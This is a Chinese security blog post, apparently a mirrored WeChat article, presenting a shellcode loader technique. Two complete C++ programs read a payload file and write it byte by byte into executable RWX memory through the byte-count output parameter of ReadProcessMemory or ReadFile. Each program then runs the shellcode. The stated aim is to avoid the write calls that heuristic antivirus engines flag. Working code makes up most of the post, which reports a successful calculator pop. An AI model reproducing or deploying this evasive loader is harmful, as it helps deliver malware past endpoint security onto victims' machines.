文章总结: 这篇文章介绍了一种使用ReadProcessMemory和ReadFile函数实现ShellcodeLoader的技术,通过利用这些函数的lpNumberOfBytesRead参数特性,将shellcode间接写入可执行内存,避免直接使用写操作,可能绕过安全检测。作者提供了C++代码实现,并成功执行了shellcode弹出计算器。这种技术可以作为一种绕过启发式查杀的方法。 综合评分: 87 文章分类: 免杀,漏洞POC,二进制安全,安全开发,红队
利用Read相关函数实现Shellcode Loader
原创
生吃香菜
零攻防
2025年12月13日 19:02 广西
利用Read代替Write将内容写入指定位置。这是非常巧妙的一个构思。
但是可能有些人觉得,看完文章之后,为什么我不直接将内容读到我的RWX内存中,如果你也有这个疑惑,那么就按照你的想法直接将内容直接读取到可执行内存即可!!!
《你杠就是你对》
unsetunset思路unsetunset
当然这个过程大家会非常的疑惑,为什么读可以代替写?这个作者提供的是rust的代码。大家可以参考一下,下面我将自己的理解与实现的过程以C++的形式展现给大家!!!
参考连接:https://github.com/mimorep/Indirect-Shellcode-Executor/blob/main/src/main.rs
unsetunset开搞unsetunset
这一切源于ReadProcessMemory中的参数
BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);
这里我们注意到:SIZE_T* lpNumberOfBytesRead,这个参数如果正常使用的情况下,会得到正常读入了多少个字节,会以SIZE_T的类型存放。
利用c++实现这个功能
#include <Windows.h>
#include <shlwapi.h>
#include <iostream>
#pragma comment(lib, "shlwapi.lib")
int main()
{
CHAR path[MAX_PATH];
GetModuleFileNameA(NULL, path, MAX_PATH);
PathRemoveFileSpecA(path);
std::string scPath = path + std::string("\\payload.bin");
HANDLE hFile = CreateFileA(scPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return NULL;
DWORD dwSize = GetFileSize(hFile, NULL);
LPVOID pBuffer = HeapAlloc(GetProcessHeap(), 0, dwSize);
DWORD bytesRead = 0;
BOOL bResult = ReadFile(hFile, pBuffer, dwSize, &bytesRead, NULL);
CloseHandle(hFile);
LPVOID ReadMem = VirtualAlloc(NULL, 256, MEM_COMMIT, PAGE_READWRITE);
byte* shellcode_Addr = (byte*)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
HANDLE hHandle = GetCurrentProcess();
HMODULE hExeModule = GetModuleHandleA(NULL);
for (size_t i = 0; i < dwSize; i++)
{
ReadProcessMemory(hHandle, hExeModule, ReadMem, ((byte*)pBuffer)[i], &((SIZE_T*)(shellcode_Addr + i))[0]);
}
((void(*)())shellcode_Addr)();
system("pause");
}
这份代码中,只用到了读的操作,实现了将shellcode放入到RWX的内存段中执行。我们来详细分析这个读的操作:
LPVOID ReadMem = VirtualAlloc(NULL, 256, MEM_COMMIT, PAGE_READWRITE);
byte* shellcode_Addr = (byte*)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
HANDLE hHandle = GetCurrentProcess();
HMODULE hExeModule = GetModuleHandleA(NULL);
ReadProcessMemory(hHandle, hExeModule, ReadMem, ((byte*)pBuffer)[i], &((SIZE_T*)(shellcode_Addr + i))[0]);
ReadMem:申请了256的RW内存大小,因为单字节不超过FF。
shellcode_Addr:申请了与shellcode长度的RWX
hHandle:将自身作为读取的对象
hExeModule:这个读取哪里都是无所谓的
按照正常的逻辑,我们使用ReadFile将shellcode读取到内存之后,使用memcopy等操作写到RWX的内存中。这可能会触发启发式的查杀。
所以,原作者使用rust实现了使用ReadProcessMemory函数的特性将shellcode间接性的放入了rwx内存中。减少了写函数的调用。
unsetunset思考拓展unsetunset
既然ReadProcessMemory可以,那ReadFile会不会也可以呢?
BOOL ReadFile(
[in] HANDLE hFile,
[out] LPVOID lpBuffer,
[in] DWORD nNumberOfBytesToRead,
[out, optional] LPDWORD lpNumberOfBytesRead,
[in, out, optional] LPOVERLAPPED lpOverlapped
);
利用LPDWORD lpNumberOfBytesRead,也可以实现这个效果。
CHAR path[MAX_PATH];
GetModuleFileNameA(NULL, path, MAX_PATH);
PathRemoveFileSpecA(path);
std::string scPath = path + std::string("\\payload.bin");
HANDLE hFile = CreateFileA(scPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return NULL;
DWORD dwSize = GetFileSize(hFile, NULL);
LPVOID pBuffer = HeapAlloc(GetProcessHeap(), 0, dwSize);
BOOL bResult = ReadFile(hFile, pBuffer, dwSize, NULL, NULL);
LPVOID ReadMem = VirtualAlloc(NULL, 256, MEM_COMMIT, PAGE_READWRITE);
byte* shellcode_Addr = (byte*)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
for (size_t i = 0; i < dwSize; i++)
{
LARGE_INTEGER offset;
offset.QuadPart = 0;
SetFilePointerEx(hFile, offset, NULL, FILE_BEGIN);
ReadFile(hFile, ReadMem, ((byte*)pBuffer)[i], &((DWORD*)(shellcode_Addr + i))[0], NULL);
}
CloseHandle(hFile);
((void(*)())shellcode_Addr)();
unsetunset总结unsetunset
这个思路就是利用了read函数的特性,这些函数都有一个特点,就是成功读入的字节数。
虽然SIZE_T和DWORD这两种类型,会根据架构的变化长度变为4或8。但我们需要他按照顺序将shellcode写入。所以将 [0] 作为我们存储的位置。
总体来说就是以下的思路:
shellcode:FC 48 83 E4 F0 E8 C0 …..
读取长度: FC 48 83 E4 F0 E8 C0 …..
成功读取之后,读取成功的长度就会保存到我们的地址中(FC 48 83 E4 F0 E8 C0),代替写操作并且弹出计算器成功。
存在疑惑欢迎在评论区留言
查看原文:《利用Read相关函数实现Shellcode Loader》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论